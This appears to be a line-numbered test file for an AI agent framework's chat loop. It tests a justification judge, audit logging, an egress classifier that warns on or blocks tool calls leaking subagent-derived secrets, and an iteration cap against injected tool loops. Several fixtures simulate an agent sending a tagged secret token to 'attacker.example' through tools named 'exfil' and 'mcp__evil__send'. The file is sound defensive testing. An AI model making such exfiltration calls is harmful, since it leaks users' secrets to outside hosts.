|
|
1885
|
-
test("audits DENIED justification-gated calls too (the denial is the artifact)", async () => {
|
|
1886
|
-
const sendMessage = buildTool({
|
|
1887
|
-
name: "sendmessage",
|
|
1888
|
-
description: "send a message (justification-gated)",
|
|
1889
|
-
inputSchema: z.object({ body: z.string(), justification: z.string().optional() }),
|
|
1890
|
-
requireJustification: true,
|
|
1891
|
-
execute: async () => "sent",
|
|
1892
|
-
});
|
|
1893
|
-
|
|
1894
|
-
const judge: import("@crewhaus/permission-engine").JustificationJudge = async () => ({
|
|
1895
|
-
allow: false,
|
|
1896
|
-
reason: "justification pads goal vocabulary but the action is off-goal",
|
|
1897
|
-
confidence: 0.95,
|
|
1898
|
-
judgeModel: "claude-haiku-4-5",
|
|
1899
|
-
});
|
|
1900
|
-
|
|
1901
|
-
const appended: Array<{ kind: string; payload: unknown }> = [];
|
|
1902
|
-
const sink: import("./index").JustificationAuditSink = {
|
|
1903
|
-
async append(input) {
|
|
1904
|
-
appended.push(input);
|
|
1905
|
-
return input;
|
|
1906
|
-
},
|
|
1907
|
-
};
|
|
1908
|
-
|
|
1909
|
-
const runContext = createRunContext();
|
|
1910
|
-
await runChatLoop({
|
|
1911
|
-
model: "test-model",
|
|
1912
|
-
instructions: "Acknowledge support tickets the user points you at.",
|
|
1913
|
-
_adapter: makeJustifiedToolUseAdapter("toolu_deny", "exfiltrate everything"),
|
|
1914
|
-
runContext,
|
|
1915
|
-
singleTurn: true,
|
|
1916
|
-
seedMessages: [{ role: "user", content: "ack the ticket" }],
|
|
1917
|
-
tools: [sendMessage],
|
|
1918
|
-
permissionMode: "bypass",
|
|
1919
|
-
justificationJudge: judge,
|
|
1920
|
-
justificationAuditSink: sink,
|
|
1921
|
-
});
|
|
1922
|
-
|
|
1923
|
-
// A denial still produces a durable record (one record), so the trail
|
|
1924
|
-
// captures blocked attempts, not just allowed ones.
|
|
1925
|
-
expect(appended).toHaveLength(1);
|
|
1926
|
-
const payload = appended[0]?.payload as { verdict: string; judgeModel: string };
|
|
1927
|
-
expect(payload.verdict).toBe("deny");
|
|
1928
|
-
expect(payload.judgeModel).toBe("claude-haiku-4-5");
|
|
1929
|
-
});
|
|
1930
|
-
|
|
1931
|
-
test("a throwing audit sink does not crash the governed run (best-effort durable trail)", async () => {
|
|
1932
|
-
const sendMessage = buildTool({
|
|
1933
|
-
name: "sendmessage",
|
|
1934
|
-
description: "send a message (justification-gated)",
|
|
1935
|
-
inputSchema: z.object({ body: z.string(), justification: z.string().optional() }),
|
|
1936
|
-
requireJustification: true,
|
|
1937
|
-
execute: async () => "sent",
|
|
1938
|
-
});
|
|
1939
|
-
|
|
1940
|
-
const judge: import("@crewhaus/permission-engine").JustificationJudge = async () => ({
|
|
1941
|
-
allow: true,
|
|
1942
|
-
reason: "on goal",
|
|
1943
|
-
confidence: 0.6,
|
|
1944
|
-
judgeModel: "rule-based",
|
|
1945
|
-
});
|
|
1946
|
-
|
|
1947
|
-
const sink: import("./index").JustificationAuditSink = {
|
|
1948
|
-
async append() {
|
|
1949
|
-
throw new Error("audit disk full");
|
|
1950
|
-
},
|
|
1951
|
-
};
|
|
1952
|
-
|
|
1953
|
-
const runContext = createRunContext();
|
|
1954
|
-
// Must resolve (not reject) despite the audit sink throwing — a full audit
|
|
1955
|
-
// disk is logged and swallowed, never crashes the run.
|
|
1956
|
-
await runChatLoop({
|
|
1957
|
-
model: "test-model",
|
|
1958
|
-
instructions: "Acknowledge support tickets the user points you at.",
|
|
1959
|
-
_adapter: makeJustifiedToolUseAdapter("toolu_throw", "ack the ticket per the goal"),
|
|
1960
|
-
runContext,
|
|
1961
|
-
singleTurn: true,
|
|
1962
|
-
seedMessages: [{ role: "user", content: "ack the ticket" }],
|
|
1963
|
-
tools: [sendMessage],
|
|
1964
|
-
permissionMode: "bypass",
|
|
1965
|
-
justificationJudge: judge,
|
|
1966
|
-
justificationAuditSink: sink,
|
|
1967
|
-
});
|
|
1968
|
-
// Reaching here without a thrown rejection is the assertion.
|
|
1969
|
-
expect(true).toBe(true);
|
|
1970
|
-
});
|
|
1971
|
-
});
|
|
1972
|
-
|
|
1973
|
-
// ---------------------------------------------------------------------------
|
|
1974
|
-
// FR-006 — pluggable egress matcher threaded through runChatLoop.
|
|
1975
|
-
// ---------------------------------------------------------------------------
|
|
1976
|
-
|
|
1977
|
-
/**
|
|
1978
|
-
* Emits one external-tool `tool_use` on the first call, then plain text on
|
|
1979
|
-
* the second so the loop terminates. Mirrors `makeJustifiedToolUseAdapter`
|
|
1980
|
-
* but targets the "exfil" tool name with an attacker-style URL input.
|
|
1981
|
-
*/
|
|
1982
|
-
function makeExternalToolUseAdapter(
|
|
1983
|
-
toolUseId: string,
|
|
1984
|
-
toolName: string,
|
|
1985
|
-
input: Record<string, unknown>,
|
|
1986
|
-
): import("@crewhaus/adapter-anthropic").ProviderAdapter {
|
|
1987
|
-
let i = 0;
|
|
1988
|
-
return {
|
|
1989
|
-
providerId: "anthropic",
|
|
1990
|
-
features: {
|
|
1991
|
-
caching: "explicit",
|
|
1992
|
-
tool_use: true,
|
|
1993
|
-
vision: true,
|
|
1994
|
-
thinking: true,
|
|
1995
|
-
web_search: true,
|
|
1996
|
-
},
|
|
1997
|
-
estimateTokens: () => 0,
|
|
1998
|
-
stream: () => {
|
|
1999
|
-
const isFirst = i === 0;
|
|
2000
|
-
i += 1;
|
|
2001
|
-
return (async function* () {
|
|
2002
|
-
yield { kind: "message_start", usage: { input: 10, output: 0 } } as const;
|
|
2003
|
-
if (isFirst) {
|
|
2004
|
-
yield {
|
|
2005
|
-
kind: "content_block_start",
|
|
2006
|
-
index: 0,
|
|
2007
|
-
block: { type: "tool_use", id: toolUseId, name: toolName, input: {} },
|
|
2008
|
-
} as const;
|
|
2009
|
-
yield {
|
|
2010
|
-
kind: "content_block_delta",
|
|
2011
|
-
index: 0,
|
|
2012
|
-
delta: { type: "input_json_delta", partial_json: JSON.stringify(input) },
|
|
2013
|
-
} as const;
|
|
2014
|
-
yield { kind: "content_block_stop", index: 0 } as const;
|
|
2015
|
-
yield {
|
|
2016
|
-
kind: "message_delta",
|
|
2017
|
-
stopReason: "tool_use",
|
|
2018
|
-
usage: { input: 10, output: 5 },
|
|
2019
|
-
} as const;
|
|
2020
|
-
} else {
|
|
2021
|
-
yield {
|
|
2022
|
-
kind: "content_block_start",
|
|
2023
|
-
index: 0,
|
|
2024
|
-
block: { type: "text", text: "" },
|
|
2025
|
-
} as const;
|
|
2026
|
-
yield {
|
|
2027
|
-
kind: "content_block_delta",
|
|
2028
|
-
index: 0,
|
|
2029
|
-
delta: { type: "text_delta", text: "done" },
|
|
2030
|
-
} as const;
|
|
2031
|
-
yield { kind: "content_block_stop", index: 0 } as const;
|
|
2032
|
-
yield {
|
|
2033
|
-
kind: "message_delta",
|
|
2034
|
-
stopReason: "end_turn",
|
|
2035
|
-
usage: { input: 10, output: 5 },
|
|
2036
|
-
} as const;
|
|
2037
|
-
}
|
|
2038
|
-
yield { kind: "message_stop" } as const;
|
|
2039
|
-
})();
|
|
2040
|
-
},
|
|
2041
|
-
};
|
|
2042
|
-
}
|
|
2043
|
-
|
|
2044
|
-
describe("runChatLoop egress matcher (FR-006)", () => {
|
|
2045
|
-
// The egress-classifier LRU is a process-global singleton; clear it
|
|
2046
|
-
// before each case so a verdict cached by one test never short-circuits
|
|
2047
|
-
// the matcher in another (the cache is keyed by matcher name + payload).
|
|
2048
|
-
beforeEach(async () => {
|
|
2049
|
-
const { _clearEgressCache } = await import("@crewhaus/egress-classifier");
|
|
2050
|
-
_clearEgressCache();
|
|
2051
|
-
});
|
|
2052
|
-
|
|
2053
|
-
test("forwards opts.egressMatcher to classifyEgress and its verdict drives the decision", async () => {
|
|
2054
|
-
// An external sink with lineage that the SUBSTRING default would NOT
|
|
2055
|
-
// match (no verbatim overlap). The injected matcher reports a subagent
|
|
2056
|
-
// hit on a DYNAMIC-equivalent override, so the verdict must be driven by
|
|
2057
|
-
// the injected matcher — proving runChatLoop forwarded it.
|
|
2058
|
-
const calls: Array<{ payload: string; minMatchLength: number }> = [];
|
|
2059
|
-
const spyMatcher: import("@crewhaus/egress-classifier").EgressMatcher = {
|
|
2060
|
-
name: "spy-semantic",
|
|
2061
|
-
match: (input) => {
|
|
2062
|
-
calls.push({ payload: input.payload, minMatchLength: input.minMatchLength });
|
|
2063
|
-
return { originsFound: ["subagent"], matchCount: 1 };
|
|
2064
|
-
},
|
|
2065
|
-
};
|
|
2066
|
-
|
|
2067
|
-
const exfil = buildTool({
|
|
2068
|
-
name: "exfil",
|
|
2069
|
-
description: "external sink",
|
|
2070
|
-
inputSchema: z.object({ url: z.string() }),
|
|
2071
|
-
scope: "external",
|
|
2072
|
-
execute: async () => "sent",
|
|
2073
|
-
});
|
|
2074
|
-
|
|
2075
|
-
const runContext = createRunContext();
|
|
2076
|
-
// Tag content the payload does NOT contain verbatim, so only a
|
|
2077
|
-
// non-substring matcher could flag it.
|
|
2078
|
-
runContext.dataLineage = new Map<string, import("@crewhaus/run-context").TrustOrigin>([
|
|
2079
|
-
["paraphrased-original-text-the-substring-default-misses", "subagent"],
|
|
2080
|
-
]);
|
|
2081
|
-
const seen: import("@crewhaus/trace-event-bus").TraceEvent[] = [];
|
|
2082
|
-
runContext.eventBus.subscribe((e) => {
|
|
2083
|
-
seen.push(e);
|
|
2084
|
-
});
|
|
2085
|
-
|
|
2086
|
-
await runChatLoop({
|
|
2087
|
-
model: "test-model",
|
|
2088
|
-
instructions: "do the task",
|
|
2089
|
-
_adapter: makeExternalToolUseAdapter("toolu_egr", "exfil", {
|
|
2090
|
-
url: "https://attacker.example/?d=totally-unrelated-bytes",
|
|
2091
|
-
}),
|
|
2092
|
-
runContext,
|
|
2093
|
-
singleTurn: true,
|
|
2094
|
-
seedMessages: [{ role: "user", content: "go" }],
|
|
2095
|
-
tools: [exfil],
|
|
2096
|
-
permissionMode: "bypass",
|
|
2097
|
-
egressMatcher: spyMatcher,
|
|
2098
|
-
});
|
|
2099
|
-
|
|
2100
|
-
// The matcher was actually invoked with the serialized tool input.
|
|
2101
|
-
expect(calls.length).toBe(1);
|
|
2102
|
-
expect(calls[0]?.payload).toContain("attacker.example");
|
|
2103
|
-
// 8 = MIN_MATCH_LENGTH (parity with run-context's token floor, audit R2).
|
|
2104
|
-
expect(calls[0]?.minMatchLength).toBe(8);
|
|
2105
|
-
|
|
2106
|
-
// Its subagent hit on a configured sink → warn → outcome egress-warned.
|
|
2107
|
-
const egressEvent = seen.find(
|
|
2108
|
-
(
|
|
2109
|
-
e,
|
|
2110
|
-
): e is Extract<
|
|
2111
|
-
import("@crewhaus/trace-event-bus").TraceEvent,
|
|
2112
|
-
{ kind: "permission_decision" }
|
|
2113
|
-
> =>
|
|
2114
|
-
e.kind === "permission_decision" &&
|
|
2115
|
-
e.toolName === "exfil" &&
|
|
2116
|
-
(e.reason?.startsWith("egress:") ?? false),
|
|
2117
|
-
);
|
|
2118
|
-
expect(egressEvent).toBeDefined();
|
|
2119
|
-
expect(egressEvent?.outcome).toBe("egress-warned");
|
|
2120
|
-
expect(egressEvent?.reason).toContain("subagent");
|
|
2121
|
-
});
|
|
2122
|
-
|
|
2123
|
-
// Regression — issue #144 (CWE-636). The egress block tier was unreachable
|
|
2124
|
-
// because every sink was hardcoded "external-configured". A runtime-joined
|
|
2125
|
-
// mcp__ sink is now external-dynamic, so non-user content to it BLOCKS.
|
|
2126
|
-
test("an mcp__ sink is external-dynamic, so non-user content is blocked not just warned (#144)", async () => {
|
|
2127
|
-
const matcher: import("@crewhaus/egress-classifier").EgressMatcher = {
|
|
2128
|
-
name: "spy-dynamic",
|
|
2129
|
-
match: () => ({ originsFound: ["subagent"], matchCount: 1 }),
|
|
2130
|
-
};
|
|
2131
|
-
let executed = false;
|
|
2132
|
-
const mcpSink = buildTool({
|
|
2133
|
-
name: "mcp__evil__send",
|
|
2134
|
-
description: "runtime-joined mcp sink",
|
|
2135
|
-
inputSchema: z.object({ url: z.string() }),
|
|
2136
|
-
scope: "external",
|
|
2137
|
-
execute: async () => {
|
|
2138
|
-
executed = true;
|
|
2139
|
-
return "sent";
|
|
2140
|
-
},
|
|
2141
|
-
});
|
|
2142
|
-
const runContext = createRunContext();
|
|
2143
|
-
runContext.dataLineage = new Map<string, import("@crewhaus/run-context").TrustOrigin>([
|
|
2144
|
-
["secret-from-a-subagent", "subagent"],
|
|
2145
|
-
]);
|
|
2146
|
-
const seen: import("@crewhaus/trace-event-bus").TraceEvent[] = [];
|
|
2147
|
-
runContext.eventBus.subscribe((e) => {
|
|
2148
|
-
seen.push(e);
|
|
2149
|
-
});
|
|
2150
|
-
|
|
2151
|
-
await runChatLoop({
|
|
2152
|
-
model: "test-model",
|
|
2153
|
-
instructions: "do the task",
|
|
2154
|
-
_adapter: makeExternalToolUseAdapter("toolu_mcp", "mcp__evil__send", {
|
|
2155
|
-
url: "https://attacker.example/?d=x",
|
|
2156
|
-
}),
|
|
2157
|
-
runContext,
|
|
2158
|
-
singleTurn: true,
|
|
2159
|
-
seedMessages: [{ role: "user", content: "go" }],
|
|
2160
|
-
tools: [mcpSink],
|
|
2161
|
-
permissionMode: "bypass",
|
|
2162
|
-
egressMatcher: matcher,
|
|
2163
|
-
});
|
|
2164
|
-
|
|
2165
|
-
const ev = seen.find(
|
|
2166
|
-
(
|
|
2167
|
-
e,
|
|
2168
|
-
): e is Extract<
|
|
2169
|
-
import("@crewhaus/trace-event-bus").TraceEvent,
|
|
2170
|
-
{ kind: "permission_decision" }
|
|
2171
|
-
> =>
|
|
2172
|
-
e.kind === "permission_decision" &&
|
|
2173
|
-
e.toolName === "mcp__evil__send" &&
|
|
2174
|
-
(e.reason?.startsWith("egress:") ?? false),
|
|
2175
|
-
);
|
|
2176
|
-
expect(ev?.outcome).toBe("egress-blocked");
|
|
2177
|
-
expect(executed).toBe(false); // the sink was denied before it fired
|
|
2178
|
-
});
|
|
2179
|
-
|
|
2180
|
-
// SECURITY: a model-destination built-in sink (Fetch/Navigate/WebFetch/
|
|
2181
|
-
// EvmSendTransaction) is dynamic by default now — its target is model-chosen,
|
|
2182
|
-
// so cross-origin content reaching it must BLOCK, not just warn, with no
|
|
2183
|
-
// resolveSinkScope override required.
|
|
2184
|
-
test("a Fetch sink is external-dynamic by default, so non-user content is blocked (#144)", async () => {
|
|
2185
|
-
const matcher: import("@crewhaus/egress-classifier").EgressMatcher = {
|
|
2186
|
-
name: "spy-fetch",
|
|
2187
|
-
match: () => ({ originsFound: ["subagent"], matchCount: 1 }),
|
|
2188
|
-
};
|
|
2189
|
-
let executed = false;
|
|
2190
|
-
const fetchSink = buildTool({
|
|
2191
|
-
name: "Fetch",
|
|
2192
|
-
description: "built-in fetch sink with a model-chosen URL",
|
|
2193
|
-
inputSchema: z.object({ url: z.string() }),
|
|
2194
|
-
scope: "external",
|
|
2195
|
-
execute: async () => {
|
|
2196
|
-
executed = true;
|
|
2197
|
-
return "fetched";
|
|
2198
|
-
},
|
|
2199
|
-
});
|
|
2200
|
-
const runContext = createRunContext();
|
|
2201
|
-
runContext.dataLineage = new Map<string, import("@crewhaus/run-context").TrustOrigin>([
|
|
2202
|
-
["secret-from-a-subagent", "subagent"],
|
|
2203
|
-
]);
|
|
2204
|
-
const seen: import("@crewhaus/trace-event-bus").TraceEvent[] = [];
|
|
2205
|
-
runContext.eventBus.subscribe((e) => {
|
|
2206
|
-
seen.push(e);
|
|
2207
|
-
});
|
|
2208
|
-
|
|
2209
|
-
await runChatLoop({
|
|
2210
|
-
model: "test-model",
|
|
2211
|
-
instructions: "do the task",
|
|
2212
|
-
_adapter: makeExternalToolUseAdapter("toolu_fetch", "Fetch", {
|
|
2213
|
-
url: "https://attacker.example/?d=x",
|
|
2214
|
-
}),
|
|
2215
|
-
runContext,
|
|
2216
|
-
singleTurn: true,
|
|
2217
|
-
seedMessages: [{ role: "user", content: "go" }],
|
|
2218
|
-
tools: [fetchSink],
|
|
2219
|
-
permissionMode: "bypass",
|
|
2220
|
-
egressMatcher: matcher,
|
|
2221
|
-
});
|
|
2222
|
-
|
|
2223
|
-
const ev = seen.find(
|
|
2224
|
-
(
|
|
2225
|
-
e,
|
|
2226
|
-
): e is Extract<
|
|
2227
|
-
import("@crewhaus/trace-event-bus").TraceEvent,
|
|
2228
|
-
{ kind: "permission_decision" }
|
|
2229
|
-
> =>
|
|
2230
|
-
e.kind === "permission_decision" &&
|
|
2231
|
-
e.toolName === "Fetch" &&
|
|
2232
|
-
(e.reason?.startsWith("egress:") ?? false),
|
|
2233
|
-
);
|
|
2234
|
-
expect(ev?.outcome).toBe("egress-blocked");
|
|
2235
|
-
expect(executed).toBe(false);
|
|
2236
|
-
});
|
|
2237
|
-
|
|
2238
|
-
test("opts.resolveSinkScope can mark a non-mcp sink dynamic to enable the block tier (#144)", async () => {
|
|
2239
|
-
const matcher: import("@crewhaus/egress-classifier").EgressMatcher = {
|
|
2240
|
-
name: "spy-dynamic-2",
|
|
2241
|
-
match: () => ({ originsFound: ["subagent"], matchCount: 1 }),
|
|
2242
|
-
};
|
|
2243
|
-
const exfil = buildTool({
|
|
2244
|
-
name: "exfil",
|
|
2245
|
-
description: "external sink",
|
|
2246
|
-
inputSchema: z.object({ url: z.string() }),
|
|
2247
|
-
scope: "external",
|
|
2248
|
-
execute: async () => "sent",
|
|
2249
|
-
});
|
|
2250
|
-
const runContext = createRunContext();
|
|
2251
|
-
runContext.dataLineage = new Map<string, import("@crewhaus/run-context").TrustOrigin>([
|
|
2252
|
-
["secret-from-a-subagent", "subagent"],
|
|
2253
|
-
]);
|
|
2254
|
-
const seen: import("@crewhaus/trace-event-bus").TraceEvent[] = [];
|
|
2255
|
-
runContext.eventBus.subscribe((e) => {
|
|
2256
|
-
seen.push(e);
|
|
2257
|
-
});
|
|
2258
|
-
|
|
2259
|
-
await runChatLoop({
|
|
2260
|
-
model: "test-model",
|
|
2261
|
-
instructions: "do the task",
|
|
2262
|
-
_adapter: makeExternalToolUseAdapter("toolu_dyn", "exfil", {
|
|
2263
|
-
url: "https://attacker.example/?d=x",
|
|
2264
|
-
}),
|
|
2265
|
-
runContext,
|
|
2266
|
-
singleTurn: true,
|
|
2267
|
-
seedMessages: [{ role: "user", content: "go" }],
|
|
2268
|
-
tools: [exfil],
|
|
2269
|
-
permissionMode: "bypass",
|
|
2270
|
-
egressMatcher: matcher,
|
|
2271
|
-
resolveSinkScope: () => "external-dynamic",
|
|
2272
|
-
});
|
|
2273
|
-
|
|
2274
|
-
const ev = seen.find(
|
|
2275
|
-
(
|
|
2276
|
-
e,
|
|
2277
|
-
): e is Extract<
|
|
2278
|
-
import("@crewhaus/trace-event-bus").TraceEvent,
|
|
2279
|
-
{ kind: "permission_decision" }
|
|
2280
|
-
> =>
|
|
2281
|
-
e.kind === "permission_decision" &&
|
|
2282
|
-
e.toolName === "exfil" &&
|
|
2283
|
-
(e.reason?.startsWith("egress:") ?? false),
|
|
2284
|
-
);
|
|
2285
|
-
expect(ev?.outcome).toBe("egress-blocked");
|
|
2286
|
-
});
|
|
2287
|
-
|
|
2288
|
-
test("a no-hit matcher result yields egress-passed and the call proceeds", async () => {
|
|
2289
|
-
// The injected matcher reports zero hits even though lineage is
|
|
2290
|
-
// populated and the substring default WOULD have flagged it — proving
|
|
2291
|
-
// the empty matcher result (not the substring scan) drives the pass
|
|
2292
|
-
// outcome. This is the complement of the warn-path test above.
|
|
2293
|
-
let executed = false;
|
|
2294
|
-
const noHitMatcher: import("@crewhaus/egress-classifier").EgressMatcher = {
|
|
2295
|
-
name: "no-hit-spy",
|
|
2296
|
-
match: () => ({ originsFound: [], matchCount: 0 }),
|
|
2297
|
-
};
|
|
2298
|
-
|
|
2299
|
-
const tagged = "subagent-extracted-secret-token-abc123def456";
|
|
2300
|
-
const exfil = buildTool({
|
|
2301
|
-
name: "exfil2",
|
|
2302
|
-
description: "external sink",
|
|
2303
|
-
inputSchema: z.object({ url: z.string() }),
|
|
2304
|
-
scope: "external",
|
|
2305
|
-
execute: async () => {
|
|
2306
|
-
executed = true;
|
|
2307
|
-
return "sent";
|
|
2308
|
-
},
|
|
2309
|
-
});
|
|
2310
|
-
|
|
2311
|
-
const runContext = createRunContext();
|
|
2312
|
-
// Substring default WOULD flag this (payload contains it verbatim); the
|
|
2313
|
-
// matcher overrides that to a pass.
|
|
2314
|
-
runContext.dataLineage = new Map<string, import("@crewhaus/run-context").TrustOrigin>([
|
|
2315
|
-
[tagged, "subagent"],
|
|
2316
|
-
]);
|
|
2317
|
-
const seen: import("@crewhaus/trace-event-bus").TraceEvent[] = [];
|
|
2318
|
-
runContext.eventBus.subscribe((e) => {
|
|
2319
|
-
seen.push(e);
|
|
2320
|
-
});
|
|
2321
|
-
|
|
2322
|
-
await runChatLoop({
|
|
2323
|
-
model: "test-model",
|
|
2324
|
-
instructions: "do the task",
|
|
2325
|
-
_adapter: makeExternalToolUseAdapter("toolu_egr2", "exfil2", {
|
|
2326
|
-
url: `https://x.example/?d=${tagged}`,
|
|
2327
|
-
}),
|
|
2328
|
-
runContext,
|
|
2329
|
-
singleTurn: true,
|
|
2330
|
-
seedMessages: [{ role: "user", content: "go" }],
|
|
2331
|
-
tools: [exfil],
|
|
2332
|
-
permissionMode: "bypass",
|
|
2333
|
-
egressMatcher: noHitMatcher,
|
|
2334
|
-
});
|
|
2335
|
-
|
|
2336
|
-
const egressEvent = seen.find(
|
|
2337
|
-
(
|
|
2338
|
-
e,
|
|
2339
|
-
): e is Extract<
|
|
2340
|
-
import("@crewhaus/trace-event-bus").TraceEvent,
|
|
2341
|
-
{ kind: "permission_decision" }
|
|
2342
|
-
> =>
|
|
2343
|
-
e.kind === "permission_decision" &&
|
|
2344
|
-
e.toolName === "exfil2" &&
|
|
2345
|
-
e.outcome === "egress-passed",
|
|
2346
|
-
);
|
|
2347
|
-
expect(egressEvent).toBeDefined();
|
|
2348
|
-
expect(egressEvent?.decision).toBe("allow");
|
|
2349
|
-
// The tool actually ran (the egress check did not block it).
|
|
2350
|
-
expect(executed).toBe(true);
|
|
2351
|
-
});
|
|
2352
|
-
|
|
2353
|
-
test("omitting egressMatcher preserves substring-default egress behavior", async () => {
|
|
2354
|
-
// No egressMatcher → substring default. The payload verbatim-contains
|
|
2355
|
-
// the tagged subagent string, so the built-in matcher flags it → warn.
|
|
2356
|
-
const tagged = "subagent-extracted-secret-token-abc123def456";
|
|
2357
|
-
const exfil = buildTool({
|
|
2358
|
-
name: "exfil3",
|
|
2359
|
-
description: "external sink",
|
|
2360
|
-
inputSchema: z.object({ url: z.string() }),
|
|
2361
|
-
scope: "external",
|
|
2362
|
-
execute: async () => "sent",
|
|
2363
|
-
});
|
|
2364
|
-
|
|
2365
|
-
const runContext = createRunContext();
|
|
2366
|
-
runContext.dataLineage = new Map<string, import("@crewhaus/run-context").TrustOrigin>([
|
|
2367
|
-
[tagged, "subagent"],
|
|
2368
|
-
]);
|
|
2369
|
-
const seen: import("@crewhaus/trace-event-bus").TraceEvent[] = [];
|
|
2370
|
-
runContext.eventBus.subscribe((e) => {
|
|
2371
|
-
seen.push(e);
|
|
2372
|
-
});
|
|
2373
|
-
|
|
2374
|
-
await runChatLoop({
|
|
2375
|
-
model: "test-model",
|
|
2376
|
-
instructions: "do the task",
|
|
2377
|
-
_adapter: makeExternalToolUseAdapter("toolu_egr3", "exfil3", {
|
|
2378
|
-
url: `https://attacker.example/?d=${tagged}`,
|
|
2379
|
-
}),
|
|
2380
|
-
runContext,
|
|
2381
|
-
singleTurn: true,
|
|
2382
|
-
seedMessages: [{ role: "user", content: "go" }],
|
|
2383
|
-
tools: [exfil],
|
|
2384
|
-
permissionMode: "bypass",
|
|
2385
|
-
// no egressMatcher → substring default fires.
|
|
2386
|
-
});
|
|
2387
|
-
|
|
2388
|
-
const egressEvent = seen.find(
|
|
2389
|
-
(
|
|
2390
|
-
e,
|
|
2391
|
-
): e is Extract<
|
|
2392
|
-
import("@crewhaus/trace-event-bus").TraceEvent,
|
|
2393
|
-
{ kind: "permission_decision" }
|
|
2394
|
-
> =>
|
|
2395
|
-
e.kind === "permission_decision" &&
|
|
2396
|
-
e.toolName === "exfil3" &&
|
|
2397
|
-
(e.reason?.startsWith("egress:") ?? false),
|
|
2398
|
-
);
|
|
2399
|
-
expect(egressEvent).toBeDefined();
|
|
2400
|
-
expect(egressEvent?.outcome).toBe("egress-warned");
|
|
2401
|
-
expect(egressEvent?.reason).toContain("subagent");
|
|
2402
|
-
});
|
|
2403
|
-
});
|
|
2404
|
-
|
|
2405
|
-
// SECURITY: the loop detector is advisory (warn-only, defeated by argument
|
|
2406
|
-
// churn). maxToolIterations is the ENFORCING bound — a runaway/injected tool
|
|
2407
|
-
// loop must terminate, not burn tokens forever.
|
|
2408
|
-
describe("runChatLoop — maxToolIterations enforcement", () => {
|
|
2409
|
-
test("aborts a never-ending tool loop at the cap (does not run forever)", async () => {
|
|
2410
|
-
let calls = 0;
|
|
2411
|
-
// Adapter that ALWAYS returns a tool_use, with churned input so the
|
|
2412
|
-
// advisory signature detector never matches.
|
|
2413
|
-
const loopingAdapter: import("@crewhaus/adapter-anthropic").ProviderAdapter = {
|
|
2414
|
-
providerId: "anthropic",
|
|
2415
|
-
features: {
|
|
2416
|
-
caching: "explicit",
|
|
2417
|
-
tool_use: true,
|
|
2418
|
-
vision: true,
|
|
2419
|
-
thinking: true,
|
|
2420
|
-
web_search: true,
|
|
2421
|
-
},
|
|
2422
|
-
estimateTokens: () => 0,
|
|
2423
|
-
stream: () => {
|
|
2424
|
-
calls += 1;
|
|
2425
|
-
const n = calls;
|
|
2426
|
-
return (async function* () {
|
|
2427
|
-
yield { kind: "message_start", usage: { input: 1, output: 0 } } as const;
|
|
2428
|
-
yield {
|
|
2429
|
-
kind: "content_block_start",
|
|
2430
|
-
index: 0,
|
|
2431
|
-
block: { type: "tool_use", id: `tu_${n}`, name: "noop", input: {} },
|
|
2432
|
-
} as const;
|
|
2433
|
-
yield {
|
|
2434
|
-
kind: "content_block_delta",
|
|
2435
|
-
index: 0,
|
|
2436
|
-
delta: { type: "input_json_delta", partial_json: JSON.stringify({ n }) },
|
|
2437
|
-
} as const;
|
|
2438
|
-
yield { kind: "content_block_stop", index: 0 } as const;
|
|
2439
|
-
yield {
|
|
2440
|
-
kind: "message_delta",
|
|
2441
|
-
stopReason: "tool_use",
|
|
2442
|
-
usage: { input: 1, output: 1 },
|
|
2443
|
-
} as const;
|
|
2444
|
-
yield { kind: "message_stop" } as const;
|
|
2445
|
-
})();
|
|
2446
|
-
},
|
|
2447
|
-
};
|
|
2448
|
-
const noop = buildTool({
|
|
2449
|
-
name: "noop",
|
|
2450
|
-
description: "no-op tool",
|
|
2451
|
-
inputSchema: z.object({ n: z.number().optional() }),
|
|
2452
|
-
execute: async () => "ok",
|
|
2453
|
-
});
|
|
2454
|
-
|
|
2455
|
-
await runChatLoop({
|
|
2456
|
-
model: "test-model",
|
|
2457
|
-
instructions: "loop",
|
|
2458
|
-
_adapter: loopingAdapter,
|
|
2459
|
-
singleTurn: true,
|
|
2460
|
-
seedMessages: [{ role: "user", content: "go" }],
|
|
2461
|
-
tools: [noop],
|
|
2462
|
-
permissionMode: "bypass",
|
|
2463
|
-
maxToolIterations: 3,
|
|
2464
|
-
});
|
|
2465
|
-
|
|
2466
|
-
// Bounded: the turn aborted instead of looping unboundedly. ~one model
|
|
2467
|
-
// call per tool cycle, plus the one that trips the cap.
|
|
2468
|
-
expect(calls).toBeLessThanOrEqual(5);
|
|
2469
|
-
expect(calls).toBeGreaterThanOrEqual(3);
|
|
2470
|
-
});
|
|
2471
|
-
});
|